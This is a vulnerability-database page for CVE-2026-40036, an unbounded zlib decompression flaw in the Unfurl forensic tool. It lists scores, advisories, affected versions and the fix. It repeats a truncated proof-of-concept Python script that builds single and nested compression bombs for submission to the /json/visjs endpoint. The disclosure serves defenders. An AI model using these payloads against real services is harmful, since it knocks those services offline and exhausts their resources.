CVE-2026-40036
Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
CVE-2026-40036- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770, CWE-409
- Updated
- 2026-11-02
EUVDEUVD-2026-20779
8.7
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
EUVD-2026-20779- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c3f2-qg8v-25q2
8.7
Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.
Original Description
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
GHSA-c3f2-qg8v-25q2- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h5qv-qjv4-pc5m
8.7
Unfurl's unbounded zlib decompression allows decompression bomb DoS
Summary
The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.
Details
unfurl/parsers/parse_compressed.pycallszlib.decompress(decoded)with no size limit.- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.
PoC
- Generate a payload with
security_poc/poc_decompression_bomb.py --generate-only. - The script creates a base64-encoded zlib payload embedded in a URL.
- Submitting the URL to
/json/visjscan cause the server to allocate large amounts of memory. - The script includes a
--testmode but warns it can crash the service.
PoC Script
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================
This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.
Vulnerability Location:
- parse_compressed.py:81-82:
inflated_bytes = zlib.decompress(decoded) # No maxsize parameter
Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)
Usage:
python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""
import argparse
import base64
import os
import zlib
import requests
import sys
import time
def create_compression_bomb(target_size_mb: int = 100) -> bytes:
"""
Create a compression bomb - small compressed data that expands to target_size_mb.
Compression ratio for zeros can be ~1000:1 or better.
A 1KB compressed payload can expand to ~1MB.
A 100KB payload can expand to ~100MB.
"""
# Create highly compressible data (all zeros)
target_bytes = target_size_mb * 1024 * 1024
uncompressed = b'\x00' * target_bytes
# Compress with maximum compression
compressed = zlib.compress(uncompressed, 9)
compression_ratio = len(uncompressed) / len(compressed)
print(f"[*] Created compression bomb:")
print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
print(f" Compression ratio: {compression_ratio:.0f}:1")
return compressed
def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
"""
Create a nested compression bomb (zip bomb style).
Each level multiplies the final size.
Warning: This can create VERY large expansions.
3 levels with 10MB base = 10^3 = 1GB
4 levels with 10MB base = 10^4 = 10GB
"""
print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")
# Start with base payload
data = b'\x00' * (base_size_mb * 1024 * 1024)
for level in range(levels):
data = zlib.compress(data, 9)
print(f" Level {level + 1}: {len(data):,} bytes")
theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate
print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")
return data
def create_recursive_quine_bomb() -> bytes:
"""
Create a recursive decompression scenario.
When decompressed, the output is valid zlib that can be decompressed again.
This exploits any recursive decompression logic.
"""
# This is a simplified version - real quine bombs are more complex
# The concept: output when decompressed is also valid compressed data
# Create a pattern that when decompressed resembles compressed data
# This is primarily theoretical for this vulnerability
base = b'x\x9c' + (b'\x00' * 1000) # Fake zlib header + zeros
return zlib.compress(base * 1000, 9)
def encode_for_unfurl(compressed: bytes) -> str:
"""
Encode compressed data as base64 for URL…
- Record
GHSA-h5qv-qjv4-pc5m- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-409
- Updated
- 2026-11-02
NVD
8.7
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
CVE-2026-40036- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409, CWE-770
- Updated
- 2026-11-02
OSV
8.7
Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
CVE-2026-40036- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-409, CWE-770
- Updated
- 2026-11-02
OSVGHSA-c3f2-qg8v-25q2
8.7
Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.
Original Description
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
- Record
GHSA-c3f2-qg8v-25q2- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
OSVGHSA-h5qv-qjv4-pc5m
8.7
Unfurl's unbounded zlib decompression allows decompression bomb DoS
Summary
The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.
Details
unfurl/parsers/parse_compressed.pycallszlib.decompress(decoded)with no size limit.- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.
PoC
- Generate a payload with
security_poc/poc_decompression_bomb.py --generate-only. - The script creates a base64-encoded zlib payload embedded in a URL.
- Submitting the URL to
/json/visjscan cause the server to allocate large amounts of memory. - The script includes a
--testmode but warns it can crash the service.
PoC Script
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================
This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.
Vulnerability Location:
- parse_compressed.py:81-82:
inflated_bytes = zlib.decompress(decoded) # No maxsize parameter
Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)
Usage:
python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""
import argparse
import base64
import os
import zlib
import requests
import sys
import time
def create_compression_bomb(target_size_mb: int = 100) -> bytes:
"""
Create a compression bomb - small compressed data that expands to target_size_mb.
Compression ratio for zeros can be ~1000:1 or better.
A 1KB compressed payload can expand to ~1MB.
A 100KB payload can expand to ~100MB.
"""
# Create highly compressible data (all zeros)
target_bytes = target_size_mb * 1024 * 1024
uncompressed = b'\x00' * target_bytes
# Compress with maximum compression
compressed = zlib.compress(uncompressed, 9)
compression_ratio = len(uncompressed) / len(compressed)
print(f"[*] Created compression bomb:")
print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
print(f" Compression ratio: {compression_ratio:.0f}:1")
return compressed
def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
"""
Create a nested compression bomb (zip bomb style).
Each level multiplies the final size.
Warning: This can create VERY large expansions.
3 levels with 10MB base = 10^3 = 1GB
4 levels with 10MB base = 10^4 = 10GB
"""
print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")
# Start with base payload
data = b'\x00' * (base_size_mb * 1024 * 1024)
for level in range(levels):
data = zlib.compress(data, 9)
print(f" Level {level + 1}: {len(data):,} bytes")
theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate
print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")
return data
def create_recursive_quine_bomb() -> bytes:
"""
Create a recursive decompression scenario.
When decompressed, the output is valid zlib that can be decompressed again.
This exploits any recursive decompression logic.
"""
# This is a simplified version - real quine bombs are more complex
# The concept: output when decompressed is also valid compressed data
# Create a pattern that when decompressed resembles compressed data
# This is primarily theoretical for this vulnerability
base = b'x\x9c' + (b'\x00' * 1000) # Fake zlib header + zeros
return zlib.compress(base * 1000, 9)
def encode_for_unfurl(compressed: bytes) -> str:
"""
Encode compressed data as base64 for URL…
- Record
GHSA-h5qv-qjv4-pc5m- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-409
- Updated
- 2026-11-02
OSVPYSEC-2026-1294
8.7
Unfurl's unbounded zlib decompression allows decompression bomb DoS
Summary
The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.
Details
unfurl/parsers/parse_compressed.pycallszlib.decompress(decoded)with no size limit.- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.
PoC
- Generate a payload with
security_poc/poc_decompression_bomb.py --generate-only. - The script creates a base64-encoded zlib payload embedded in a URL.
- Submitting the URL to
/json/visjscan cause the server to allocate large amounts of memory. - The script includes a
--testmode but warns it can crash the service.
PoC Script
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================
This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.
Vulnerability Location:
- parse_compressed.py:81-82:
inflated_bytes = zlib.decompress(decoded) # No maxsize parameter
Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)
Usage:
python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""
import argparse
import base64
import os
import zlib
import requests
import sys
import time
def create_compression_bomb(target_size_mb: int = 100) -> bytes:
"""
Create a compression bomb - small compressed data that expands to target_size_mb.
Compression ratio for zeros can be ~1000:1 or better.
A 1KB compressed payload can expand to ~1MB.
A 100KB payload can expand to ~100MB.
"""
# Create highly compressible data (all zeros)
target_bytes = target_size_mb * 1024 * 1024
uncompressed = b'\x00' * target_bytes
# Compress with maximum compression
compressed = zlib.compress(uncompressed, 9)
compression_ratio = len(uncompressed) / len(compressed)
print(f"[*] Created compression bomb:")
print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
print(f" Compression ratio: {compression_ratio:.0f}:1")
return compressed
def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
"""
Create a nested compression bomb (zip bomb style).
Each level multiplies the final size.
Warning: This can create VERY large expansions.
3 levels with 10MB base = 10^3 = 1GB
4 levels with 10MB base = 10^4 = 10GB
"""
print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")
# Start with base payload
data = b'\x00' * (base_size_mb * 1024 * 1024)
for level in range(levels):
data = zlib.compress(data, 9)
print(f" Level {level + 1}: {len(data):,} bytes")
theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate
print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")
return data
def create_recursive_quine_bomb() -> bytes:
"""
Create a recursive decompression scenario.
When decompressed, the output is valid zlib that can be decompressed again.
This exploits any recursive decompression logic.
"""
# This is a simplified version - real quine bombs are more complex
# The concept: output when decompressed is also valid compressed data
# Create a pattern that when decompressed resembles compressed data
# This is primarily theoretical for this vulnerability
base = b'x\x9c' + (b'\x00' * 1000) # Fake zlib header + zeros
return zlib.compress(base * 1000, 9)
def encode_for_unfurl(compressed: bytes) -> str:
"""
Encode compressed data as base64 for URL…
- Record
PYSEC-2026-1294- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
dfir-unfurlPyPI |
before 20260405 | 20260405 |
dfir-unfurlPyPI |
before 20260405, plus listed versions 202006292020063020200630.220200630.320200630.4 Show 22 moreShow less20200702202007032020072920200812202011022021030820210309202103102021031120210615202202002022110020230900202309012024062520240626202406272024112020241121202502182025031220250810 |
20260405 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40036 is a high vulnerability (CVSS 8.7) in Obsidianforensics Unfurl, published January 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in dfir-unfurl 20260405.
References
github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m
github.com/obsidianforensics/unfurl/releases/tag/v2026.04
vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression
nvd.nist.gov/vuln/detail/CVE-2026-40036
github.com/RyanDFIR/unfurl/pull/243
github.com/RyanDFIR/unfurl/releases/tag/v2026.04
Show 7 moreShow less
github.com/advisories/GHSA-c3f2-qg8v-25q2
github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8
github.com/advisories/GHSA-h5qv-qjv4-pc5m
github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40036.json
github.com/obsidianforensics/unfurl
github.com/RyanDFIR/unfurl
pypi.org/project/dfir-unfurl
Left out here: the rest of 3 source descriptions. The JSON record has them.